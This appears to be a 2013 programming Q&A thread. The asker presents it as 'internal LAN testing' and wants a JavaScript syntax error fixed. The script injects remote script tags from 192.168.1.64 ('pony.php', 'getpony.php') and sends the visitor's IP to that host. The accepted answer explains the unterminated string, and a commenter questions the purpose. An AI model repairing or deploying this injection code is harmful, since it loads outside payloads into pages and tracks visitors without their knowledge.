Javascript formatting error?

Question

Thanks for taking the time to read this and help me out.

I'm trying to do internal LAN testing and am really not into javascript, which would explain why my code is not working.

Anyone knows what is wrong ? I think my formatting somewhere.

function pentest()
{ 
x = document.getElementById("pentestpayload");

if (x == null)
{
    document.write ( " <script>function getip(json) {
    document.write('<script type=\\\"application/javascript\\\"
    src=\\\"http://192.168.1.64:1000/pony.php?id=\'+
    json.ip + \'\\\"></scr\'+\'ipt>');
};</script>
");
document.write("<script id='pentestpayload' type='application/javascript'
src='http://192.168.1.64:1001/panel/getpony.php?pony=getpony'></script>");
}
}
pentest();

firebug gives the following error in javascript console:

 SyntaxError: unterminated string literal

 document.write ( " <script>function getip(json) { document.write('<script typ

 test.js (line 7, col 17)`

... why are you doing this? I guarantee there is a better way. — Brigand, Aug 15 '13 at 09:36

Henrik Andersson · Accepted Answer · 2013-08-15T09:39:39.637

document.write ( " <script>function getip(json) {

should be

document.write ( " <script>function getip(json) { ");

as you're not ending the function document.write() with a closing " (which ends the string) and the ) which ends the function.

But that's also faulty, what you most likely want is how to do a multiline string which you format like this

"myString \
that keeps on rocking"

But what you're trying to do isn't really optimal and should be avoided overall.

Javascript formatting error?

1 Answers1